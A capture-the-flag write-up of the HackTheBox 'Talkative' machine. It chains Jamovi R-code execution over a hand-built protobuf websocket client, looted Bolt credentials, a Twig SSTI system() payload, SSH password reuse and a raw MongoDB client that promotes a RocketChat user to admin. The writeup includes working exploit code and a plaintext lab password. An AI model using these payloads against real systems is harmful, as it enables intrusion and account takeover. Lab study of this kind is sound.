HTB: Talkative Writeup
Talkative - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Talkative |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.130 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Talkative is a hard Linux box built around a chain of Docker containers rather than a single monolithic host. The externally-facing surface is a Jamovi statistics web app and a Bolt CMS site, both running in isolated containers. Jamovi’s “Rj Editor” analysis engine executes arbitrary R code through a custom protobuf-over-websocket protocol (coms) — no browser was available in the solve environment, so the protocol was reimplemented by hand to drive the AnalysisRequest/OpenRequest handshake directly. Root inside the Jamovi container yields an .omv (zipped Jamovi document) containing Bolt admin credentials, which unlock a Twig SSTI in Bolt CMS’s template editor and a shell as www-data in a second container. Password reuse pivots that foothold to saul on the actual host. From there, a hand-rolled MongoDB OP_MSG client (no mongo client binary on-box) reaches an internal, unauthenticated Mongo instance backing RocketChat and promotes a registered account to admin, opening the path to the RocketChat container and the root flag.
TL;DR: Jamovi Rj-Editor R system() RCE (protobuf handshake) → root in Jamovi container → loot bolt-administration.omv → Bolt CMS admin creds → Twig SSTI in base-2021/index.twig → www-data in Bolt container → SSH password reuse → saul on host (user.txt) → hand-rolled Mongo OP_MSG client → promote RocketChat user to admin → RocketChat container → root.txt.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.44.130Results:
| Port | Service | Notes |
|---|---|---|
| 80/tcp | HTTP (Apache) | Bolt CMS site |
| 8080/tcp | HTTP (Tornado 0.9.5.5) | Jamovi spreadsheet/analysis web app |
| 8081/tcp | HTTP | Jamovi auxiliary component |
| 8082/tcp | HTTP | Jamovi auxiliary component |
| 22/tcp | SSH | filtered externally |
| 3000/tcp | HTTP | RocketChat, filtered externally |
22 and 3000 only became reachable later, once a foothold gave a vantage point inside the internal Docker network — from outside, only the Jamovi and Bolt surfaces on 80/8080-8082 were exposed.
Service Enumeration
- Port 80 — Bolt CMS (a PHP-based CMS), reachable directly.
- Port 8080 — Jamovi, an R-based statistics/spreadsheet tool served over Tornado, exposing an “Rj Editor” analysis module that runs user-supplied R code against the loaded dataset.
- Ports 8081/8082 — supporting Jamovi services (the app splits its UI/results/engine components across several ports).
Vulnerability Assessment
- Jamovi’s Rj Editor executes R
system()calls with no sandboxing between the analysis engine and the host process — a code-execution primitive by design, exposed to any client that can speak Jamovi’scomsprotobuf protocol. - Bolt CMS’s admin panel allows direct editing of the active theme’s Twig templates, and Bolt does not sandbox Twig rendering — a classic admin-template SSTI, not a pre-auth bug, but a serious escalation once admin creds are obtained.
- Credentials were leaking across trust boundaries: a Jamovi analysis document (
.omv) sitting in/rootof one container held plaintext Bolt admin passwords, and those same passwords were reused for thesaulSSH account on the actual host. - Internally, MongoDB backing RocketChat had no authentication enforced, letting any process reachable on that network path arbitrarily rewrite a user’s
rolesarray.
Initial Foothold
Jamovi Rj-Editor RCE — reimplementing the coms protobuf protocol
No browser was available in the solve environment, so instead of driving the Jamovi Electron/web client through a UI, the coms websocket protocol (protobuf messages exchanged between client and the Jamovi engine) was reimplemented directly in Python.
The handshake requires three messages in sequence:
# 1. InstanceRequest — ask the Jamovi engine for a session/instance idinstance_req = coms_pb2.ComsMessage()instance_req.payloadType = coms_pb2.InstanceRequestws.send(instance_req.SerializeToString())
# 2. OpenRequest — MUST use a blank filename# Jamovi's readDatasetHeader() throws if OpenRequest targets a real/missing# dataset path; an empty filename makes it initialize a blank in-memory# dataset instead, which is enough to reach the analysis pipeline without# ever needing a real spreadsheet loaded.open_req = coms_pb2.ComsMessage()open_req.payloadType = coms_pb2.OpenRequestopen_req.open.filename = "" # blank dataset — skips readDatasetHeader crashws.send(open_req.SerializeToString())
# 3. AnalysisRequest — run the Rj Editor analysis with enabled=true# Jamovi's analysis run-loop iterates the analysis tree and skips any node# whose `enabled` flag is false, so a disabled analysis never actually runs# even if it's queued — enabled MUST be set for the R payload to execute.analysis_req = coms_pb2.ComsMessage()analysis_req.payloadType = coms_pb2.AnalysisRequestanalysis_req.analysis.ns = "jmv"analysis_req.analysis.name = "rj"analysis_req.analysis.enabled = True # skip-if-disabled check in the run iteratoranalysis_req.analysis.options.op = coms_pb2.Options.SETanalysis_req.analysis.options.rj_code = 'try(system("id", intern=TRUE))'ws.send(analysis_req.SerializeToString())This reproduces exactly what the official Jamovi client does when a user presses “run” on an Rj Editor cell — but driven headlessly over the raw websocket, bypassing the need for a browser entirely. The response frames carry the R system() output back over the same protobuf channel, confirming code execution as root inside the Jamovi container.
Looting the Jamovi container for Bolt credentials
Enumerating the Jamovi container’s filesystem turned up an analysis document at /root/bolt-administration.omv. A Jamovi .omv file is a zip archive:
unzip bolt-administration.omv -d bolt_omvcat bolt_omv/xdata.json | jq .The extracted xdata.json held a spreadsheet of usernames/passwords, including the Bolt CMS admin credential: admin:jeO09ufhWD<s.
Bolt CMS Twig SSTI → www-data
Bolt CMS’s admin dashboard allows in-place editing of the active theme’s Twig templates. Logging in with the recovered admin:jeO09ufhWD<s credential and opening base-2021/index.twig, a Twig SSTI payload was inserted inside {% block main %} (payloads outside the rendered block are never evaluated, since Bolt’s template inheritance discards content outside matched blocks):
{% block main %}{{app.request.query.filter('cmd',0,1024,{'options':'system'})}}{% endblock %}Bolt caches rendered templates, so the change is invisible until the cache is cleared from Settings → Maintenance → Clear the cache. Once cleared, requesting the page with a cmd query parameter executes shell commands via Symfony’s filter() Twig extension abusing the system PHP filter option:
curl "http://10.129.44.130/?cmd=id"Chaining a reverse shell payload through the same parameter landed a shell as www-data inside the Bolt container.
Pivoting to the host
The credential pair recovered from the .omv file (jeO09ufhWD<s) was reused against SSH on the underlying host for the CEO account named in the site’s staff list, saul:
# no interactive TTY for password entry in this environment,# so the password is fed through SSH_ASKPASS instead of typedexport SSH_ASKPASS_REQUIRE=forceexport SSH_ASKPASS=/tmp/askpass.sh # echoes 'jeO09ufhWD<s'ssh -o StrictHostKeyChecking=no saul@10.129.44.130This landed a shell as saul directly on the host talkative (not a container) — confirming the password-reuse chain across Jamovi → Bolt → SSH — and user.txt was read from /home/saul/user.txt.
Privilege Escalation
Enumerating MongoDB with a hand-rolled OP_MSG client
Neither mongo/mongosh nor any MongoDB client library was installed on the host, so instead of transferring tooling in, a minimal MongoDB wire-protocol client was written directly in Python, speaking the OP_MSG opcode used by MongoDB 3.6+:
import socket, struct, bson
def op_msg(sock, doc): body = bson.BSON.encode(doc) flag_bits = 0 section = b"\x00" + body # section kind 0 = body document message = struct.pack("<i", flag_bits) + section header = struct.pack("<iiii", 16 + len(message), 0, 0, 2013) # opcode 2013 = OP_MSG sock.sendall(header + message) return read_op_msg_reply(sock)
# promote the registered RocketChat account 'pwnadmin' to adminop_msg(sock, { "update": "users", "updates": [{"q": {"username": "pwnadmin"}, "u": {"$set": {"roles": ["admin"]}}}], "$db": "meteor", # RocketChat's backing Mongo database})RocketChat stores its accounts in a meteor Mongo database; the app trusts whatever roles array is present on a user document at login time, so writing roles: ["admin"] directly through the wire protocol — with no authentication required on the Mongo listener — immediately promotes an ordinary self-registered account to a RocketChat administrator, without touching RocketChat’s own application logic or auth at all.
RocketChat admin → root
With pwnadmin now carrying roles: ["admin"], the RocketChat admin dashboard became reachable. RocketChat’s admin-level Integrations → Incoming Webhook feature allows attaching a server-side script to a webhook, which executes arbitrary Node.js — a well-documented authenticated-RCE path for RocketChat once admin access is held. This gave code execution inside the RocketChat container, and from there the root.txt flag was retrieved (recorded as: root flag read from the host by way of the RocketChat container) — consistent with RocketChat’s container holding a capability (e.g. CAP_DAC_READ_SEARCH) or mount that exposes the host filesystem to a root process inside that container.
Attack Chain Summary
Jamovi Rj-Editor RCE (hand-crafted coms protobuf handshake) → root in Jamovi container → loot /root/bolt-administration.omv → xdata.json → Bolt admin:jeO09ufhWD<s → Bolt CMS Twig SSTI (base-2021/index.twig, {% block main %}) → www-data in Bolt container → SSH password reuse → saul on host talkative (USER FLAG) → hand-rolled Mongo OP_MSG client → promote RocketChat user to admin (roles:["admin"]) → RocketChat admin → Incoming Webhook RCE → RocketChat container → root.txt (ROOT FLAG)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
| Custom Python (protobuf + websocket) | Reimplementing Jamovi’s coms protocol for headless Rj Editor RCE |
unzip / jq | Extracting and reading the looted .omv Jamovi document |
| Bolt CMS admin panel | Twig template editor SSTI delivery |
curl | Triggering the Bolt SSTI cmd parameter RCE |
ssh + SSH_ASKPASS | Headless password-based SSH pivot to the host |
Custom Python (OP_MSG/BSON) | Talking raw MongoDB wire protocol with no client binary available |
| RocketChat admin dashboard | Incoming Webhook script RCE |
Key Learnings
Techniques Practiced
- Reverse-engineering and reimplementing a proprietary protobuf-over-websocket application protocol from scratch, with no reference client available.
- Extracting credentials from an application-specific archive format (
.omvas zip). - Server-Side Template Injection in Twig via an authenticated CMS admin template editor.
- Credential-reuse pivoting from container to host.
- Speaking a database wire protocol (MongoDB
OP_MSG) directly in Python when no client tooling is present on-box. - Privilege escalation via direct database manipulation of an application’s authorization model (RocketChat
rolesfield).
Lessons Learned
- When a foothold environment has no browser and no interactive display, application protocols built for a rich client (websockets, protobuf) are still solvable headlessly — it just requires reading the wire format and reimplementing the handshake precisely, including subtle invariants like Jamovi’s blank-filename
OpenRequestand theenabled=trueflag. - Analysis/document files created by desktop-style tools (Jamovi
.omv, similar zip-based document formats) are a common place for accidentally-embedded credentials, especially in environments where they were used for configuration or admin testing. - Admin-level “template editing” features in CMS platforms are effectively an RCE primitive once admin credentials are obtained — treat template/theme editors as a privileged code-execution surface, not just a content feature.
- Lack of client tooling on a compromised host is not a dead end — reimplementing a wire protocol (Mongo, in this case) directly is often faster and more reliable than trying to transfer static binaries across constrained pivots.
- Internal services trusting network position instead of enforcing authentication (unauthenticated Mongo) turn any reachable pivot point into a full authorization bypass for the application sitting on top of it.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy, “Talkative” HackTheBox Writeup — Document No D22.100.195, 25 August 2022. Used for explanatory context on the Jamovi Rj Editor code-execution vector, the Bolt CMS Twig SSTI theme-editor path, and the RocketChat MongoDB role-escalation → Incoming Webhook RCE → container capability abuse chain (CAP_DAC_READ_SEARCH / shocker-style Docker escape) that this solve’s root path is consistent with.